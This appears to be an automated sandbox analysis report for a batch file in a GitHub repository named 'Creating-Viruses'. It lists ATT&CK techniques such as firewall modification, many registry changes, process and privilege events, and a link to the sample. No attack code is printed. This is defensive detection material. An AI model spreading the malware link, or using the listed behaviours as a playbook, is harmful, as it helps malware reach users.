hxxps://github[.]com/AshStudios/Creating-Viruses/blob/master/process_creator[.]bat

Analysis

max time kernel
196s
max time network
193s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30-05-2024 08:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/AshStudios/Creating-Viruses/blob/master/process_creator.bat

Score

8^/10

evasion

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4304	netsh.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
54	raw.githubusercontent.com
55	raw.githubusercontent.com

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133615309961584224"	chrome.exe

Modifies registry class 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000010000001800000030f125b7ef471a10a5f102608c9eebac0a000000a0000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\WFlags = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\0\NodeSlot = "4"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 14001f706806ee260aa0d7449371beb064c986830000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "2"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\ShowCmd = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000010000001800000030f125b7ef471a10a5f102608c9eebac0a000000a0000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0 = 1e007180000000000000000000002f492640692fb846b9bf5654fc07e4230000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "18874369"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "18874369"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "18874385"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\HotKey = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\0\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "2"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0 = 0c0001008421de39050000000000	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\FirewallControlPanel.dll,-12122#immutable1 = "Windows Defender Firewall"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\0 = 2b010000250100eeebbe17010400000000005900000031535053537def0c64fad111a2030000f81fedee3d00000005000000001f00000016000000500061006700650043006f006e00660069006700750072006500530065007400740069006e0067007300000000000000550000003153505330f125b7ef471a10a5f102608c9eebac390000000a000000001f0000001300000043007500730074006f006d0069007a0065002000530065007400740069006e0067007300000000000000000065000000315350538727bf5ccf480842b90eee5e5d4202944900000019000000001f0000001c0000004600690072006500770061006c006c0043006f006e00740072006f006c00500061006e0065006c002e0064006c006c002c002d0031000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\NodeSlot = "3"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\0	explorer.exe

Runs net.exe

Runs regedit.exe 1 IoCs

pid	Process
2068	regedit.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5060	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
3300	chrome.exe
3300	chrome.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4252	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe
4252	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3300 wrote to memory of 1812	3300	chrome.exe	82
PID 3300 wrote to memory of 1812	3300	chrome.exe	82
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 1968	3300	chrome.exe	83
PID 3300 wrote to memory of 4072	3300	chrome.exe	84
PID 3300 wrote to memory of 4072	3300	chrome.exe	84
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85
PID 3300 wrote to memory of 4336	3300	chrome.exe	85

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/AshStudios/Creating-Viruses/blob/master/process_creator.bat
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
